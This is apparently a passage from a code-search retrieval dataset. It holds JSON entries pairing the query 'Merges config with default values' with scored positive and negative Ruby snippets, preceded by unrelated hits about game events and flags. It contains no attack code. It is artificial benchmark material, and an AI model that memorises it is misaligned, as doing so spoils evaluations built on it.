"docid": "6fff229d758c2a75e028558dbed19c9b",
"score": "0.49404308",
"text": "def command_354\n # Set return to title screen flag\n $game_temp.to_title = true\n # End\n return false\n end",
"title": ""
},
{
"docid": "6fff229d758c2a75e028558dbed19c9b",
"score": "0.49404308",
"text": "def command_354\n # Set return to title screen flag\n $game_temp.to_title = true\n # End\n return false\n end",
"title": ""
},
{
"docid": "6fff229d758c2a75e028558dbed19c9b",
"score": "0.49404308",
"text": "def command_354\n # Set return to title screen flag\n $game_temp.to_title = true\n # End\n return false\n end",
"title": ""
},
{
"docid": "449c8942dbcd52e7fe5ce279a689dfcc",
"score": "0.49391958",
"text": "def save name\n name = choose_program_name unless name\n\n if name\n save_program name\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "09282ae846636853c5a9518d69fae003",
"score": "0.49364683",
"text": "def has_flag(flag)\n\t\t\t@event.flags.include?(flag)\n\t\tend",
"title": ""
},
{
"docid": "782ff8b3bfbe08faf55f7d4c4a2673c9",
"score": "0.4934447",
"text": "def can_record_event?\n !!(km_identity && km_event_name)\n end",
"title": ""
},
{
"docid": "a03cc28a2700a1fc81b50765a30b6d48",
"score": "0.49324673",
"text": "def run?\n @run ||= false\n end",
"title": ""
},
{
"docid": "69f44580ddd96fd168daa07c464f9a44",
"score": "0.49298468",
"text": "def verbose?\n @trace\n end",
"title": ""
},
{
"docid": "69f44580ddd96fd168daa07c464f9a44",
"score": "0.49298468",
"text": "def verbose?\n @trace\n end",
"title": ""
},
{
"docid": "b8931ea9ca388559f382d10430d081bb",
"score": "0.49212423",
"text": "def starter?\n games_played < Elo.config.starter_boundry\n end",
"title": ""
},
{
"docid": "b8931ea9ca388559f382d10430d081bb",
"score": "0.49212423",
"text": "def starter?\n games_played < Elo.config.starter_boundry\n end",
"title": ""
},
{
"docid": "5bb200d24915e28ee9e77016924a5be1",
"score": "0.49157903",
"text": "def on_sub_crafting_ok\n case @crafting_window.current_symbol\n when :synthesis\n SceneManager.call(Scene_Synthesis)\n when :enhance\n #SceneManager.call(Scene_Status)\n end\n end",
"title": ""
},
{
"docid": "6130468e64b3d6c868ade7f8e4507734",
"score": "0.49047327",
"text": "def true!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n\n type = TRUE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 376:8: 'true'\n match( \"true\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n\n end",
"title": ""
},
{
"docid": "759eb5990a79af6d7d3abec9a7b9f60f",
"score": "0.49020424",
"text": "def computer_world_method\n puts \"Would you like to program, watch or play?\"\n computer_world_activity = gets.chomp.downcase\n if computer_world_activity == \"program\"\n puts \"A coder huh? Great. Go home tonight and figure out this problem:\"\n puts \" var = ee% J ^ <== this ) $ is 44 a # 1234crock**\"\n puts \"Thanks for playing.\"\n elsif\n computer_world_activity == \"watch\"\n puts \"lazybones.\"\n puts \"watch something fun at youtube.com\"\n puts \"Thanks for playing.\"\n else\n computer_world_activity == \"play\"\n puts \"A player huh? Great.\"\n puts \"Soon I'll be able to program a game for you. Give me a day or two.\"\n puts \"Thanks for playing.\"\n end\n end",
"title": ""
},
{
"docid": "19c31f6185674886f9c28dd5a4e19648",
"score": "0.4898973",
"text": "def turn_on\n\t\tputs \"model, light on\"\n\tend",
"title": ""
},
{
"docid": "2cf015ef6040d786967ded7d625ff63a",
"score": "0.48966533",
"text": "def pbEggGenerated?\r\n return false if pbDayCareDeposited!=2\r\n return $PokemonGlobal.daycareEgg==1\r\nend",
"title": ""
},
{
"docid": "febed9f9347cc4d8e2c370ad779fa816",
"score": "0.4896229",
"text": "def camera_replay_enabled?\n @replay_camera\n end",
"title": ""
}
] |
ed0f799d8b7982167ea6d55bb14c2316
|
Merges config with default values
|
[
{
"docid": "808eb721ed400d28c7b02a7ce7cba02b",
"score": "0.0",
"text": "def torrent\n @torrent_config ||= {\n 'announce' => 'udp://9.rarbg.to:2710/announce',\n 'file' => 'site.torrent',\n 'flags' => '',\n 'bin' => 'transmission-create'\n }.merge(config.fetch('torrent', {}))\n end",
"title": ""
}
] |
[
{
"docid": "2c18e09fd849b5bb9fcc74dbfed08a93",
"score": "0.8348972",
"text": "def merge_defaults!(config)\n MERGE_DEFAULT.each do |option|\n if config[option].kind_of?(Array)\n config[option] = (DEFAULTS[option] | config[option])\n end\n end\n\n config\n end",
"title": ""
},
{
"docid": "bd3cf0db74494aec62dedc0c524add98",
"score": "0.8240935",
"text": "def fill_with_default_values(config)\n return @default_values.merge(config)\n end",
"title": ""
},
{
"docid": "d44b19d9deb4b2a478cf91cad02efa98",
"score": "0.81986505",
"text": "def merge_with_default(config, config_file, unset_nil:); end",
"title": ""
},
{
"docid": "f672fb5715c712fa3e9ba822639607b6",
"score": "0.76823205",
"text": "def merge_with_default(config, config_file, unset_nil: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "170c18a20f1658184fd10d9c2466f45a",
"score": "0.7666186",
"text": "def merge_custom_defaults!; end",
"title": ""
},
{
"docid": "170c18a20f1658184fd10d9c2466f45a",
"score": "0.7666186",
"text": "def merge_custom_defaults!; end",
"title": ""
},
{
"docid": "2701eb53047fdddf2a599c9958834280",
"score": "0.7626222",
"text": "def defaults(config = {})\n config.reverse_merge(DEFAULT_CONFIG).freeze\n end",
"title": ""
},
{
"docid": "53ddf78e09a8df7a389b7522118e507d",
"score": "0.75315046",
"text": "def merge_configs\n config.replace(config_file_defaults.merge(default_config).merge(config_file_settings).merge(config))\n Ohai::Config.merge!(config) # make them both the same\n end",
"title": ""
},
{
"docid": "ca0a355cc12f15384e4ac24ab7644b00",
"score": "0.74434257",
"text": "def merge_and_assign_config(args = {})\n arg = self.class.default_configuration.merge(args.symbolize_keys)\n arg.merge!(config_from_yaml(arg))\n arg.each {|a,v| self.send(\"#{a}=\", v) if self.respond_to?(a.to_sym) }\n\n arg\n end",
"title": ""
},
{
"docid": "8126b999b8d61fd7c59d1c28114fe7db",
"score": "0.7404822",
"text": "def merge_defaults(options)\n default_options = HipaaCrypt.config.deep_merge(options)\n local_defaults = default_options.except :defaults\n local_defaults.deep_merge!(default_options.fetch :defaults, {})\n end",
"title": ""
},
{
"docid": "39452ccde1f7640564f1ef9372721d00",
"score": "0.7338365",
"text": "def merged_settings(provided)\n DeepMerge.deep_merge(self.class.default_settings, provided)\n end",
"title": ""
},
{
"docid": "c8c1d8b435e883f7515f1b844a3b49b0",
"score": "0.732797",
"text": "def merge_defaults_overrides(vals)\n vals = @opts[:defaults].merge(vals) if @opts[:defaults]\n vals = vals.merge(@opts[:overrides]) if @opts[:overrides]\n vals\n end",
"title": ""
},
{
"docid": "9514c49a81177da9d45a572ec8ebed30",
"score": "0.72855526",
"text": "def merged_config(overrides)\n case overrides\n when Hash\n dup_config.tap do |conf|\n overrides.each do |k, v|\n conf[k] = v\n end\n end\n when Struct\n dup_config.tap do |conf|\n overrides.each_pair do |k, v|\n conf[k] = v\n end\n end\n else\n config\n end\n end",
"title": ""
},
{
"docid": "263d3fe97e474d5607a43b9f9b66602d",
"score": "0.72797376",
"text": "def merge(other_config, overwrite_existing = true)\n\t\tend",
"title": ""
},
{
"docid": "098650d0cd1534db594e6d6fe91718cf",
"score": "0.727718",
"text": "def merge\n result = {}.tap do |overwrite|\n defaults.keys.each do |key|\n overwrite[key] = case\n when options[key] != defaults[key]\n options[key]\n when config[key].present?\n config[key]\n when options[key].present?\n options[key]\n else\n defaults[key]\n end\n end\n end\n\n Hashie::Mash.new(\n result\n )\n end",
"title": ""
},
{
"docid": "27cca0586b94d9a962a8c6135210ff22",
"score": "0.72410846",
"text": "def merge_configs\n config\n end",
"title": ""
},
{
"docid": "c2d9201fe30161aab659be689cff0559",
"score": "0.71979034",
"text": "def set_default_configs\n OPTIMISTIC_PATH_DEFAULTS.each do |config_key, config_default|\n if config.send(config_key) == Config::UNSET_VALUE\n config_value = File.exist?(expanded_path(config_default)) ? config_default : nil\n config.send(\"#{config_key}=\", config_value)\n end\n end\n end",
"title": ""
},
{
"docid": "673de54e3b6353dd25440905d6084f59",
"score": "0.71763325",
"text": "def merge_args(config, default = nil)\n args = load(config)\n if !default.nil? && File.exist?(default)\n args.deep_merge(load(default))\n end\n args\n end",
"title": ""
},
{
"docid": "b52aab63b94137cb885ba57d905de694",
"score": "0.71447176",
"text": "def merge_config(config)\n defaults = {\n name: 'Ruby App',\n version: '0.0.0',\n release: 'Rookie',\n ignore: 'pkg',\n # TODO: Establish these default icons and paths. These would be\n # default icons for generic Ruby apps.\n icons: {\n #osx: 'path/to/default/App.icns',\n #gtk: 'path/to/default/app.png',\n #win32: 'path/to/default/App.ico',\n },\n template_urls: {\n jar_app: JAR_APP_TEMPLATE_URL,\n },\n validator: Furoshiki::Validator,\n warbler_extensions: Furoshiki::WarblerExtensions,\n working_dir: Dir.pwd,\n }\n\n @config = merge_with_symbolized_keys(defaults, config)\n end",
"title": ""
},
{
"docid": "493aa6974ac947e451f09baa0600f6f2",
"score": "0.71231693",
"text": "def default_config\n Helpers::Hash.deep_copy(DEFAULT_CONFIG)\n end",
"title": ""
},
{
"docid": "f196b66d33e0aa7ef70473487332eaea",
"score": "0.7118649",
"text": "def fill_in_defaults!\n self.reverse_merge!(@defaults)\n end",
"title": ""
},
{
"docid": "ab661f38da1e6e6353d5484f575d460a",
"score": "0.7088021",
"text": "def default_options(merge_hash={})\n defaults = config.dup\n defaults[:PSPID] = defaults.delete(:login)\n %w(sha1insig sha1outsig base_url).each { |s| defaults.delete(s.to_sym) }\n defaults.merge(merge_hash)\n end",
"title": ""
},
{
"docid": "813283151cf23b2374ec928ab287fa6d",
"score": "0.70579517",
"text": "def default\n res = FalkorLib::Config::DEFAULTS.clone\n $LOADED_FEATURES.each do |path|\n res[:git] = FalkorLib::Config::Git::DEFAULTS if path.include?('lib/falkorlib/git.rb')\n res[:gitflow] = FalkorLib::Config::GitFlow::DEFAULTS if path.include?('lib/falkorlib/git.rb')\n res[:versioning] = FalkorLib::Config::Versioning::DEFAULTS if path.include?('lib/falkorlib/versioning.rb')\n if path.include?('lib/falkorlib/puppet.rb')\n res[:puppet] = FalkorLib::Config::Puppet::DEFAULTS\n res[:templates][:puppet][:modules] = FalkorLib::Config::Puppet::Modules::DEFAULTS[:metadata]\n end\n end\n # Check the potential local customizations\n [:local, :private].each do |type|\n custom_cfg = File.join( res[:root], res[:config_files][type.to_sym])\n if File.exist?( custom_cfg )\n res.deep_merge!( load_config( custom_cfg ) )\n end\n end\n res\n end",
"title": ""
},
{
"docid": "4bee0087ea7b60ffd558f9c9dcccda0d",
"score": "0.70573765",
"text": "def display_config\n merged_config_data.each do |k, v|\n v[:value] ||= v[:default] || ''\n end\n end",
"title": ""
},
{
"docid": "8f97787719170b3bcc2a108448927382",
"score": "0.7039789",
"text": "def remerge_all_config(global_options, local_options, env_options, parsed_options)\n CONFIG_DEFAULTS.merge(remerge_all_config_without_defaults(\n global_options, local_options, env_options, parsed_options))\n end",
"title": ""
},
{
"docid": "ef88a98934dbfc65843458a5a5b80b91",
"score": "0.70179737",
"text": "def apply_config\n self.protocol = DEFAULT_PROTOCOL\n self.domain = DEFAULT_DOMAIN\n self.api_token = DEFAULT_API_TOKEN\n self.api_version = DEFAULT_API_VERSION\n self.api_path = DEFAULT_API_PATH\n self.instance = DEFAULT_INSTANCE\n self.user_agent = DEFAULT_USER_AGENT\n self.format = DEFAULT_FORMAT\n end",
"title": ""
},
{
"docid": "609b08affee7c38cf14ceddd2eea046c",
"score": "0.6981309",
"text": "def create_config\n self.config = {} if !self.config\n self.config = default_config().merge(self.config)\n end",
"title": ""
},
{
"docid": "d0493c88df38ddc764d5dafe529e1e34",
"score": "0.6979036",
"text": "def override_defaults_based_on_config(config)\n override_default(flags,config)\n override_default(switches,config)\n\n override_command_defaults(commands,config)\n end",
"title": ""
},
{
"docid": "d0493c88df38ddc764d5dafe529e1e34",
"score": "0.6979036",
"text": "def override_defaults_based_on_config(config)\n override_default(flags,config)\n override_default(switches,config)\n\n override_command_defaults(commands,config)\n end",
"title": ""
},
{
"docid": "0547dd02de79964a84d51c31c842e03f",
"score": "0.6948759",
"text": "def merge(config)\n instance.deep_merge!(config)\n end",
"title": ""
},
{
"docid": "3eca9ce712ac39c0342868114188b54b",
"score": "0.6941276",
"text": "def defaults_merge(opt)\n DEFAULTS.merge(opt) do |_, from_default, from_opt|\n from_opt || from_default\n end\n end",
"title": ""
},
{
"docid": "d81cb20f807fe0b35f4c6e5b1f48b893",
"score": "0.6934159",
"text": "def default_params!\n @config.clear\n @config.merge!(DEFAULT_PARAMS)\n self\n end",
"title": ""
},
{
"docid": "85bd41da2512397e9c5dbb1d93bad409",
"score": "0.6902036",
"text": "def reset_config!\n configure do |c|\n c.from_h(defaults)\n end\n end",
"title": ""
},
{
"docid": "5516d299251d49931b2e1e9e692944dd",
"score": "0.6891162",
"text": "def default_config=(_arg0); end",
"title": ""
},
{
"docid": "eafcda26a728f3335bc53f1f6439a409",
"score": "0.68822294",
"text": "def defaults! other\n replace other.merge(self)\n end",
"title": ""
},
{
"docid": "9398ef2a6563d4ee3e341bc1b98f7b38",
"score": "0.6869097",
"text": "def init_config\n update(config: DEFAULT_CONFIG) if config.nil?\n end",
"title": ""
},
{
"docid": "cb04085abd2c3e6b09b09df83b470ed5",
"score": "0.68534976",
"text": "def apply_defaults(key, options = nil)\n defaults = config[key] || {}\n options = options || self[key].try(:first).try(:first) || {}\n defaults.merge(options)\n end",
"title": ""
},
{
"docid": "db0e7ead95db3a7c59255e7e136943d1",
"score": "0.6848829",
"text": "def merge_into(other=Warden::Config.new)\n safe = dup\n my_default_strategies = safe.delete(:default_strategies)\n my_scope_defaults = safe.delete(:scope_defaults)\n \n App.logger.debug {\"RW WardenConfig#merge_into my_default_strategies: #{my_default_strategies}\"}\n App.logger.debug {\"RW WardenConfig#merge_into my_scope_defaults: #{my_scope_defaults}\"}\n \n other.merge!(safe)\n my_default_strategies.each {|k,v| other.default_strategies(*v, scope:k)} if my_default_strategies\n my_scope_defaults.each {|k,v| other.scope_defaults(k,v)} if my_scope_defaults\n other\n end",
"title": ""
},
{
"docid": "6b0456637bde894ac28588f2bbd8582c",
"score": "0.6815922",
"text": "def merge_defaults!(left, right)\n Teacup::merge_defaults(left, right, left)\n end",
"title": ""
},
{
"docid": "6b0456637bde894ac28588f2bbd8582c",
"score": "0.6815922",
"text": "def merge_defaults!(left, right)\n Teacup::merge_defaults(left, right, left)\n end",
"title": ""
},
{
"docid": "76de094a63c97c98afdad710d6e4d070",
"score": "0.68119425",
"text": "def merge_kafka_defaults!(config)\n KAFKA_DEFAULTS.each do |key, value|\n next if config.kafka.key?(key)\n\n config.kafka[key] = value\n end\n end",
"title": ""
},
{
"docid": "b8649b7dfc5122d0571326bb529032d9",
"score": "0.6807253",
"text": "def merge(other)\n self.class.new( config.deep_merge(other.config) )\n end",
"title": ""
},
{
"docid": "3a646bdbd62eab8d581059e827c553b5",
"score": "0.67828864",
"text": "def merge_defaults(method, params)\n default_params_for(method).deep_merge_unless_blank(params)\n end",
"title": ""
},
{
"docid": "82e1a084c4b4e13984e7c6f6a8e887a9",
"score": "0.67666465",
"text": "def merge!(other_config)\n config.merge!(other_config.config) { |_key, v1, v2| v1.is_a?(Hash) && v2.is_a?(Hash) ? v1.merge(v2) : v2 }\n update_configuration\n end",
"title": ""
},
{
"docid": "8260dde8b9d441ba15154b72de8c750f",
"score": "0.6743726",
"text": "def merge_defaults(path)\n DEFAULT_COMPONENTS.inject(NIL) do |merged, component_ivar|\n component_value = apply_path(instance_variable_get(component_ivar), path)\n deep_merge!(merged, component_value)\n end\n end",
"title": ""
},
{
"docid": "5c0c49aacfeb6e16a8bcd47645293bd0",
"score": "0.67410296",
"text": "def config\n return @@config unless @@config.empty?\n\n config_path = File.expand_path('..', File.dirname(__FILE__))\n default_config = JSON.parse(File.read(\"#{config_path}/config.default.json\"))\n user_config = if File.exist?(\"#{config_path}/config.json\")\n JSON.parse(File.read(\"#{config_path}/config.json\"))\n else\n {}\n end\n\n @@config = default_config.deep_merge!(user_config, {:overwrite_arrays => true})\n end",
"title": ""
},
{
"docid": "cd2dde6a12897fbb5700a16e8d69392c",
"score": "0.673504",
"text": "def merge_netconf(config)\n @client.set(values: config, mode: :merge)\n end",
"title": ""
},
{
"docid": "88c9ea6d623534742319610513483e25",
"score": "0.67335606",
"text": "def merge!( other )\n return self if other.equal? self\n Kernel.raise Error, \"can only merge another Configuration\" unless other.kind_of?(Configuration)\n\n other_values = other.__values\n other_defaults = other.__defaults\n\n other.__desc.each do |key,desc|\n value = @__values[key]\n other_value = other_values[key]\n\n if value.kind_of?(Configuration) and other_value.kind_of?(Configuration)\n value.merge! other_value\n elsif !other_value.kind_of?(Loquacious::Undefined)\n self.__send__(key, other_value)\n end\n\n if other_defaults.has_key? key\n @__defaults[key] = other_defaults[key]\n end\n\n if desc\n __desc[key] = desc\n end\n end\n\n self\n end",
"title": ""
},
{
"docid": "0e56cd4b87d2a4de0fa24407ae8e2810",
"score": "0.6727385",
"text": "def defaults\n config.defaults\n end",
"title": ""
},
{
"docid": "51261fc79f4894b305e0086ec63ff037",
"score": "0.6703801",
"text": "def set_default\n attributes = {}\n instance_variables.each{ |v| attributes[v.to_s.delete('@').to_sym] = instance_variable_get(v) }\n @@default.merge!(attributes)\n Pombo.logger.info('update.configuration'){ 'Update the default settings' }\n self\n end",
"title": ""
},
{
"docid": "d06198e18cbe3e2f1822dcf0b1b3b177",
"score": "0.6698314",
"text": "def default_configuration\n Configuration::BASIC_PROFILES.inject({}) { |acc, elem| acc.update(elem => {}) }\n end",
"title": ""
},
{
"docid": "f180cc3e60b0dd3e9bc252d9b46f35eb",
"score": "0.6631506",
"text": "def default_config\n {}\n end",
"title": ""
},
{
"docid": "22a42b704d7c267a8e1186c83b05ecac",
"score": "0.66264105",
"text": "def defined_config\n self.class.config.merge(self.config)\n end",
"title": ""
},
{
"docid": "80a22be27e70c3f0a56c8f4f8e10c175",
"score": "0.6597663",
"text": "def parse_config(params, defaults = {})\n defaults.update(params.pop) if params.last.is_a?(Hash)\n defaults\n end",
"title": ""
},
{
"docid": "eb2b661ff9733a180d228b595311124b",
"score": "0.65915924",
"text": "def default_config; end",
"title": ""
},
{
"docid": "4ddbc12072187b89220c8f2e2dc7eb5f",
"score": "0.6587105",
"text": "def register_defaults\n @@configuration = load_defaults\n end",
"title": ""
},
{
"docid": "4e6e80eb9909d018960057bc1cc8b66e",
"score": "0.6583456",
"text": "def merge_twitter_defaults!\n @defaults.merge!(:@twitter => TwitterClient)\n end",
"title": ""
},
{
"docid": "87277cfc69e13c89e1b31b2102ab3758",
"score": "0.6578152",
"text": "def load_config_from_defaults\n\t\t@config[:trigger_weight] ||= 30\n\t\t@config[:link_weight] ||= 10\n\t\t@config[:link_multiple] ||= 1.1\n\t\t@config[:multiple_link_style_weight] ||= 20\n\t\t@config[:link_styles] ||= [/<a href=\"(.*?)\">(.*?)<\\/a>/,/\\[url=(.*?)\\](.*?)\\[\\/url\\]/,/<a href=(.*?)>(.*?)<\\/a>/]\n\tend",
"title": ""
},
{
"docid": "c9f8478b94c8d256822abc09af081c51",
"score": "0.65694255",
"text": "def set_default_config_data # :nodoc:\n @config = default_config_data\n end",
"title": ""
},
{
"docid": "32692195becbc422569a8b6c15cc6848",
"score": "0.65650636",
"text": "def setup()\n @configuration = defaults.with_indifferent_access #nested_under_indifferent_access\n @configuration.merge!(defaults)\n @configuration\n end",
"title": ""
},
{
"docid": "c945a5cfb6e7a29bcbbe531327359662",
"score": "0.6539523",
"text": "def merge_config!(r)\n r.each_pair { |k, v| config[k.to_s] = v }\n end",
"title": ""
},
{
"docid": "2728bc067ebad27b416ae8942d300296",
"score": "0.6528831",
"text": "def default_configuration=(_arg0); end",
"title": ""
},
{
"docid": "e6b49d8adbc03d93fc21af48dabb703a",
"score": "0.65246505",
"text": "def merge_defaults(attributes={})\n attributes.tap do |attrs|\n attrs.merge!(static_defaults){ |key, user, default| user } # Reverse Merge\n dynamic_defaults.each { |key, value| attrs[key] ||= Journeyman.execute(value, attrs) }\n end\n end",
"title": ""
},
{
"docid": "01dafc3b7fae937d4ba3872df47fd127",
"score": "0.6523558",
"text": "def merge_custom_defaults!\n dotfile = File.join(ENV[\"HOME\"], \".aprc\")\n if File.readable?(dotfile)\n load dotfile\n merge_options!(self.class.defaults)\n end\n rescue => e\n $stderr.puts \"Could not load #{dotfile}: #{e}\"\n end",
"title": ""
},
{
"docid": "4158347271cae628af9939585f6a6eef",
"score": "0.6520623",
"text": "def apply_defaults(defaults)\n defaults.each do |key, default|\n section, key = key.match(/(.*)\\.(.*)/)[1..2]\n\n if default.is_a?(Array)\n default_val, comment = default\n else\n default_val, comment = default, nil\n end\n\n @config[section] = {} unless @config.has_key?(section)\n set(\"#{section}.#{key}\", default_val, comment)\n end\n end",
"title": ""
},
{
"docid": "e3f6b7a2e61a2c8e2eeb40d92b472b62",
"score": "0.6512183",
"text": "def set_defaults\n @source = config[:default_source_key]\n @store = config[:default_store_path]\n @permissive = config[:default_permission]\n end",
"title": ""
},
{
"docid": "467d402063ad4195bb03a0a41714da71",
"score": "0.6507838",
"text": "def options_and_defaults\n get_default_options.merge(options_as_hash)\n end",
"title": ""
},
{
"docid": "46767cc5d9977da5013023c85e290a0d",
"score": "0.6495686",
"text": "def initialize(default_config = Config::INSTAGRAM, config = {})\n @config = default_config.merge(config)\n end",
"title": ""
},
{
"docid": "ec6e01e356ca22efa27023094b48785f",
"score": "0.64894617",
"text": "def apply_defaults_to_dir(dir)\n defaults.config.values.each do |key, _|\n if defaults.configured?(key) && !dir.configured?(key)\n dir.public_send(:\"#{key}=\", defaults.public_send(key).dup)\n end\n end\n end",
"title": ""
},
{
"docid": "1e2c1658629c473242e2bf51a840d913",
"score": "0.6485354",
"text": "def load_configuration\n shared_configuration.deep_merge(node_configuration).deep_merge(overrides_configuration)\n end",
"title": ""
},
{
"docid": "74178018130ef58707d770a4090695d6",
"score": "0.64743173",
"text": "def configuration_defaults\n {}\n end",
"title": ""
},
{
"docid": "1e8f5ba92335ecbe81d5e9ca6f6bdd5f",
"score": "0.6466001",
"text": "def default_config\n\t\tdefault_values = self.defaults or return Configurability::Config::Struct.new( {} )\n\t\treturn Configurability::Config::Struct.new( default_values )\n\tend",
"title": ""
},
{
"docid": "d11a27afd8856dbdc276ad5cd511f019",
"score": "0.6455379",
"text": "def default_config_vars\n raise \"must subclass\"\n end",
"title": ""
},
{
"docid": "d11a27afd8856dbdc276ad5cd511f019",
"score": "0.6455379",
"text": "def default_config_vars\n raise \"must subclass\"\n end",
"title": ""
},
{
"docid": "710de5e1c27b468ec63ec3f8b47f1c0a",
"score": "0.64504635",
"text": "def merge!(newhash)\n @config.merge!(newhash)\n end",
"title": ""
},
{
"docid": "374e98acb12e90ae1aaec63e2857c00c",
"score": "0.6421948",
"text": "def define_config(config)\n result = default_config\n Validator.validate_init_params(config)\n config.each do |key, value|\n result[key] = value unless result[key].nil?\n end\n result\n end",
"title": ""
},
{
"docid": "50ad7fa776218f9ac9279150b955ac33",
"score": "0.6402101",
"text": "def update_config(current, new)\n current.merge! new\n end",
"title": ""
},
{
"docid": "4dc76229adf219fe074b92f451576ea9",
"score": "0.6400014",
"text": "def configure_defaults\n []\n end",
"title": ""
},
{
"docid": "b5ae24a566eda2b45da9428b082c5bce",
"score": "0.63901216",
"text": "def merge!(config)\n config.each do |key,value|\n if value.is_a? Config\n @hash[key] ||= Config.new\n @hash[key].merge! value\n else\n @hash[key] = value\n end\n end\n self\n end",
"title": ""
},
{
"docid": "9d66e885c0e977c0ea85f5149c126784",
"score": "0.6386566",
"text": "def init_config(config)\n @config = LazyHash.new(config, self)\n @provided_config = config.dup\n self.class.defaults.each do |attr, value|\n @config[attr] = value unless @config.key?(attr)\n end\n end",
"title": ""
},
{
"docid": "a89b766df899154d05d44da7660ba5f2",
"score": "0.6383895",
"text": "def defaults\n @values = Hash[self.class.options.select { |_, c| c.key?(:default) }.map { |n,c| [n, c[:default]] }].merge(@values)\n end",
"title": ""
},
{
"docid": "973939ebb06037996e691ed07825f899",
"score": "0.63821864",
"text": "def settings\n @log.debug 'merging settings'\n setting_sources = [default_settings, configfile, @settings]\n merged_settings = setting_sources.inject({}) { |merged, hash| merged.deep_merge!(hash, {:overwrite_arrays => true}) }\n @log.debug 'using merged settings: ' + merged_settings.to_s\n merged_settings\n end",
"title": ""
},
{
"docid": "3ef24749c5c86e9ac4e65eacf63e2709",
"score": "0.63756865",
"text": "def merge(new_config)\n result = dup\n unless new_config.unset?\n result.prompt = new_config.prompt unless new_config.prompt == UNSET_VALUE\n result.file_path = new_config.file_path unless new_config.file_path == UNSET_VALUE\n result.username = new_config.username unless new_config.username == UNSET_VALUE\n result.password = new_config.password unless new_config.password == UNSET_VALUE\n end\n result\n end",
"title": ""
},
{
"docid": "b1418dc045fe67418cb7b10990795820",
"score": "0.63720334",
"text": "def default!(defaults)\n options.replace(defaults.merge(options))\n end",
"title": ""
},
{
"docid": "578beb80ba71c7fb27f28ebed80ff08d",
"score": "0.6363612",
"text": "def override_default_config_local\n return unless @application.environment['APPD_CONF_DIR']\n\n app_conf_dir = @application.root + @application.environment['APPD_CONF_DIR']\n\n raise \"AppDynamics configuration source dir #{app_conf_dir} does not exist\" unless Dir.exist?(app_conf_dir)\n\n @logger.info { \"Copy override configuration files from #{app_conf_dir}\" }\n CONFIG_FILES.each do |conf_file|\n conf_file_path = app_conf_dir + conf_file\n\n next unless File.file?(conf_file_path)\n\n save_cfg_file(conf_file_path, conf_file)\n end\n end",
"title": ""
},
{
"docid": "8f0b9f1b72c3859843535ef833fc8c84",
"score": "0.6362001",
"text": "def config\n if @mutable\n @config ||= DEFAULTS.dup\n else\n DEFAULTS.dup\n end\n end",
"title": ""
},
{
"docid": "14213b746c29d0698df3eb5d5879aa3b",
"score": "0.6361673",
"text": "def merge_opts *ox\n defaults = ox.last\n Hash[ defaults.keys.map do |k|\n [ k, ox.detect{ |h| h.key?(k) }[k] ]\n end ]\n end",
"title": ""
},
{
"docid": "3403f22d7adc2a7e4b2c0b8777b792be",
"score": "0.6360854",
"text": "def merge(other_config)\n other_config.hash.each { |key, value| \n @hash[key] = value \n }\n end",
"title": ""
},
{
"docid": "6e7ceec640b36fee8d82a98525741f7c",
"score": "0.6350795",
"text": "def reset_config_to_default!\n @config = Config.new\n end",
"title": ""
},
{
"docid": "6e7ceec640b36fee8d82a98525741f7c",
"score": "0.6350795",
"text": "def reset_config_to_default!\n @config = Config.new\n end",
"title": ""
},
{
"docid": "87ec176ac91e447e893d0ee013aba46e",
"score": "0.6338895",
"text": "def update_config(new)\n InternalConfiguration.merge_config(new)\n end",
"title": ""
},
{
"docid": "869ef9c0d3000477a20e6666aa9d2749",
"score": "0.63369787",
"text": "def merge_external\n external = YAML.load_file(external_name) || {}\n @config = external.merge(@config) do |key, externalval, configval|\n if configval.is_a?(Hash)\n externalval.merge(configval)\n else\n configval\n end\n end\n end",
"title": ""
},
{
"docid": "d16c4cda54dc0d829692f489752d8585",
"score": "0.63342357",
"text": "def load\n new_config = full_config[Rails.env].try(:deep_symbolize_keys!) || {}\n # Honor values in config file over defaults\n @defaults.reject! { |k, _| new_config.keys.include?(k) }\n Rails.application.config.theme.merge!(@defaults.merge(new_config))\n end",
"title": ""
},
{
"docid": "84c9f4558076f8267d1f230241dff511",
"score": "0.6322732",
"text": "def initialize(config = {})\n @config = @@defaults.merge(config)\n end",
"title": ""
},
{
"docid": "0717b46e124726bd1966dbd83da838fe",
"score": "0.6317052",
"text": "def merge_defaults(left, right, target={})\n if target != left\n left.each do |key, value|\n if target.has_key? key and value.is_a?(Hash) and target[key].is_a?(Hash)\n target[key] = Teacup::merge_defaults(target[key], value)\n else\n if value.is_a?(Hash)\n # make a copy of the Hash\n value = Teacup::merge_defaults!({}, value)\n end\n target[key] = value\n end\n end\n end\n\n right.each do |key, value|\n if not target.has_key? key\n target[key] = value\n elsif value.is_a?(Hash) and left[key].is_a?(Hash)\n target[key] = Teacup::merge_defaults(left[key], value, (left==target ? left[key] : {}))\n end\n end\n target\n end",
"title": ""
},
{
"docid": "4801d0a62986fdbd8b76c750cde46bb1",
"score": "0.6312174",
"text": "def default_configuration\n DEFAULT_CONFIGURATION.dup\n end",
"title": ""
},
{
"docid": "ed2d76d1d67475857c807cd98e7cce9c",
"score": "0.63084304",
"text": "def merge_options(options)\n sources_of_options = [default_options] + config_from_files + [options]\n sources_of_options.reduce({}) { |merged_result, next_options_hash| merged_result.merge(next_options_hash) }\n end",
"title": ""
},
{
"docid": "e3596453966cb000b9ca25a22f98cd36",
"score": "0.6302177",
"text": "def setup(initial_config = {})\n @config = defaults.merge(initial_config)\n end",
"title": ""
},
{
"docid": "2d8c96c2f66d5699e596ae6819c8d66d",
"score": "0.62974906",
"text": "def config_merge(first, second, context_for_error = \"\")\n # merge config files by recursing one level deep\n first.merge!(second) do |key, a, b|\n if Hash === a && Hash === b\n merge(a, b)\n elsif Array === a && Array === b\n a + b\n else\n raise \"Error merging configs. Key: #{key}, Context: #{context_for_error}\"\n end\n end\n end",
"title": ""
},
{
"docid": "6d599bc0a38819057799921c22c77a78",
"score": "0.62974787",
"text": "def update_config(config)\n !config['languages'] && config['languages'] = []\n !config['language_default'] && config['language_default'] = config['languages'].first;\n\n %w[languages language_default fill_default_content].each do |opt|\n self.send(\"#{opt}=\", config[opt])\n end\n self.config = config\n end",
"title": ""
},
{
"docid": "6d599bc0a38819057799921c22c77a78",
"score": "0.62974787",
